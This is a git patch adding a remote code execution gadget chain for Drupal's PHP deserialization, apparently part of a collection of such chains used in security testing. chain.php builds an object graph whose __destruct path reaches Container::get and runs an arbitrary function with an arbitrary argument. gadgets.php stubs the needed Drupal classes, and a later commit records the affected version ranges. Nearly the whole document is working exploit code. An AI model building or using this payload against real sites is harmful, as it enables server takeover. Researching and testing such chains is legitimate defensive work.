From d0ac1bc631f28ca021a83969c6c5bea37b33d4ad Mon Sep 17 00:00:00 2001 From: anzuukino Date: Thu, 13 Nov 2025 18:52:41 +0700 Subject: [PATCH 1/2] added Drupal RCE gadget chain --- gadgetchains/Drupal/RCE/2/chain.php | 39 ++++++++++ gadgetchains/Drupal/RCE/2/gadgets.php | 103 ++++++++++++++++++++++++++ 2 files changed, 142 insertions(+) create mode 100644 gadgetchains/Drupal/RCE/2/chain.php create mode 100644 gadgetchains/Drupal/RCE/2/gadgets.php diff --git a/gadgetchains/Drupal/RCE/2/chain.php b/gadgetchains/Drupal/RCE/2/chain.php new file mode 100644 index 00000000..a2d57936 --- /dev/null +++ b/gadgetchains/Drupal/RCE/2/chain.php @@ -0,0 +1,39 @@ += 8.0.0 < 10.4.9 || >= 10.5.0 < 10.5.6 || >= 11.0.0 < 11.1.9 || >= 11.2.0 < 11.2.8'; + public static $vector = '__destruct'; + public static $author = 'anzuukino aka Yuu'; + + public function generate(array $parameters) + { + $function = $parameters['function']; + $parameter = $parameters['parameter']; + $serviceDefinitions = [ + 1 => [ + 'factory' => $function, + 'arguments' => [$parameter], + ], + ]; + $container = new \Drupal\Component\DependencyInjection\Container($serviceDefinitions); + $callback = [$container, 'get']; + + $transactionId = 'x'; + $stackItem = new \Drupal\Core\Database\Transaction\StackItem('anzuukino', \Drupal\Core\Database\Transaction\StackItemType::Root); + + $manager = new \Drupal\mysql\Driver\Database\mysql\TransactionManager( + [$transactionId => $stackItem], + [$callback], + \Drupal\Core\Database\Transaction\ClientConnectionTransactionState::Committed, + $transactionId, + ); + + $connection = new \Drupal\mysql\Driver\Database\mysql\Connection($manager); + + $payload = new \Drupal\Core\Database\Transaction($connection, 'a', $transactionId); + return $payload; + } +} \ No newline at end of file diff --git a/gadgetchains/Drupal/RCE/2/gadgets.php b/gadgetchains/Drupal/RCE/2/gadgets.php new file mode 100644 index 00000000..57a96bca --- /dev/null +++ b/gadgetchains/Drupal/RCE/2/gadgets.php @@ -0,0 +1,103 @@ +name = $name; + $this->type = $type; + } + } + + class TransactionManagerBase { + protected string $rootId; + protected array $stack; + protected array $voidedItems; + protected array $postTransactionCallbacks; + protected ClientConnectionTransactionState $connectionTransactionState; + + public function __construct(array $voidedItems, array $callbacks, ClientConnectionTransactionState $state, string $rootId = 'x') { + $this->rootId = $rootId; + $this->stack = []; + $this->voidedItems = $voidedItems; + $this->postTransactionCallbacks = $callbacks; + $this->connectionTransactionState = $state; + } + } +} + +namespace Drupal\mysql\Driver\Database\mysql { + + use Drupal\Component\DependencyInjection\Container; + use Drupal\Core\Database\Transaction\TransactionManagerBase; + use Drupal\Core\Database\Transaction\TransactionManagerInterface; + + class TransactionManager extends TransactionManagerBase implements TransactionManagerInterface { + protected ?Container $container = null; + + public function beginClientTransaction() {} + public function rollbackClientTransaction() {} + public function commitClientTransaction() {} + } + + class Connection { + protected TransactionManager $transactionManager; + + public function __construct(TransactionManager $manager) { + $this->transactionManager = $manager; + } + } +} + +namespace Drupal\Component\DependencyInjection { + + class Container { + protected array $parameters = []; + protected array $aliases = []; + protected array $serviceDefinitions = []; + protected array $services = []; + protected array $privateServices = []; + protected array $loading = []; + protected bool $frozen = false; + + public function __construct(array $definitions) { + $this->serviceDefinitions = $definitions; + } + } +} + +namespace Drupal\Core\Database { + + use Drupal\mysql\Driver\Database\mysql\Connection; + + class Transaction { + protected Connection $connection; + protected string $name; + protected string $id; + + public function __construct(Connection $connection, string $name, string $id) { + $this->connection = $connection; + $this->name = $name; + $this->id = $id; + } + } +} \ No newline at end of file From 30101ecf9ba424d5f665b124816d84fb1790fa8b Mon Sep 17 00:00:00 2001 From: anzuukino Date: Thu, 13 Nov 2025 19:06:43 +0700 Subject: [PATCH 2/2] added information --- gadgetchains/Drupal/RCE/2/chain.php | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/gadgetchains/Drupal/RCE/2/chain.php b/gadgetchains/Drupal/RCE/2/chain.php index a2d57936..17e95c13 100644 --- a/gadgetchains/Drupal/RCE/2/chain.php +++ b/gadgetchains/Drupal/RCE/2/chain.php @@ -1,12 +1,14 @@ = 8.0.0 < 10.4.9 || >= 10.5.0 < 10.5.6 || >= 11.0.0 < 11.1.9 || >= 11.2.0 < 11.2.8'; public static $vector = '__destruct'; public static $author = 'anzuukino aka Yuu'; + public static $information = + 'It uses a __destruct() method to trigger call_user_func(), which eventually leads to a call_user_func_array() call after several intermediate function jumps.'; public function generate(array $parameters) {